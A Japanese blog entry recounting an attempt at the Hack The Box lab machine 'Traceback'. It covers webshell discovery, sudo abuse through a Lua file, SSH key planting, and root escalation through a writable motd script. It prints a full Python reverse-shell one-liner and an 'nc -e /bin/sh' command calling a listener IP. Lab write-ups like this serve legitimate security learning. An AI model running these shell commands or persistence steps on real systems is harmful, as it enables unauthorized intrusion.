はじめに
これは、Hack The Box二十五番勝負 Advent Calendar 2020 2日目の記事です。
サマリ
- 対戦相手:Traceback
- 対戦日時:2020年12月1日 20:30 - 23:00
- 結果:敗北(Own userまで到達)
- 主な敗因:
- 通算成績:2戦0勝2敗
対戦相手
今回の対戦相手は「Traceback」です。 www.hackthebox.eu
Walkthrough
※以下、解法に関するネタバレです。
自分でやったこと
情報収集
- nmap
- HTTPとSSHが開いていることを確認した。
- ブラウザ
- ソースのコメントを見て、ウェブシェルが動いているかもしれないと当たりをつけた。
- dirb
- aptでseclistsを落として、backdoor_list.txtでブルートフォースした。
dpkg -L {{ パッケージ名 }}
で、パッケージに含まれるファイルのパスが分かる。
smevk.php
というファイルを見つけた。- admin:adminでログインできた。
- aptでseclistsを落として、backdoor_list.txtでブルートフォースした。
- その他やったこと
脆弱性調査
以下、ウェブシェル(smevk.php)上で実行したことです。
- ログインユーザーがwebadminであることを確認した。
sudo -l
で、sysadminとして/home/sysadmin/luvitが実行できることを確認した。- この時点では結果を正しく読み取れていなかった(特に「sysadminとして」の部分)。
note.txt
を確認した。.bash_history
を確認した。sudo -u sysadmin /home/sysadmin/luvit privesc.lua
の実行履歴を確認した。- その後
privesc.lua
が削除されていることを確認した(.cache
とかからprivesc.lua
を探すのかと思ったら違った)。
- ググってLuaでのOSコマンド実行方法を確認(
os.execute()
)した。 echo 'os.execute("ls -la /home/sysadmin") > tmp.lua
などとしてLuaファイルを作り、sudo -u sysadmin /home/sysadmin/luvit tmp.lua
を実行した。user.txt
があることを確認した。ここでOwn user。.ssh/authorization_keys
内に、Kaliで生成したらしい公開鍵があることを確認した。
- その他やったこと
- wgetでローカルマシンにある
linpeas.sh
をダウンロードして実行した- カラーコードのせいで見づらくて大して読んでない
- wgetでローカルマシンにある
ここで時間切れです。Writeupは公式のものを見ました。
残りの手順
ラテラルムーブメント(sysadminとしてログイン)
- sysadminの
.ssh/authorized_keys
に、ローカルマシンの公開鍵を追加する。 - ローカルマシンからSSHログインする。
権限昇格
ps aux
やpspy
で、/bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
が実行されていることを確認する。ls -al /etc/update-motd.d/
で、配下のファイルに書き込み権限があることを確認する。00-header
に以下を追記し、SSHログイン時にリバースシェルが確立されるようにする。python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &
- 30秒ごとにバックアップファイルで上書きされるため、書き込みからログインは迅速に行う(なぜか書き込み→ログアウト→ログインとしていたが、別のターミナルで、なんならwhile文で更新し続ければよかった)
nc -e /bin/sh 10.10.14.9 4444 &
も試したが、こっちでは確立しなかった。なんでだろう?
- ローカルマシンで
nc -lvp 4444
しておくと、SSHログインした時にroot
でのリバースシェルが確立する。- 1回のキー入力で2文字入力される謎現象が起きていたので、ペーストした直後にEnter押下で対応した。
cat /root/root.txt
でOwn root。
KPT(Keep-Problem-Try)
Keep
- 情報収集の段階で、複数手段を並行で展開できたこと。
- ウェブシェルがありそうと思った時点で、SecListsにそういうファイルがありそうという発想ができて、enumできたこと。
- マインドマップっぽくメモをとりながら進めたら結構効率がよかったこと。私にはPCでのメモより相性がよさそう。もちろんスニペットなどは例外。
Problem
- ウェブシェルでオペレーションし続けるべきではなかった。公式WriteupだとすぐにPythonリバースシェルをしていた。
.ssh/authorization_keys
は、普段実務でやっているが気がつかなかった。ps aux
やlinpeas.sh
、pspy
の結果を見て、motdが怪しいと気づくには何が必要なのか?nc -e /bin/sh 10.10.10.9 4444
でリバースシェルが確立しなかったのはなぜか?- 終盤のPythonリバースシェルで、2文字ぶん入力されてしまうのはなぜか?
Try
- 週末にもう1回チャレンジする。
- ウェブシェルを見つけたら、即リバースシェルに展開することを考える。
- 以下のWriteupを読む。ATT&CKってこういう風に対応づけられるんだな。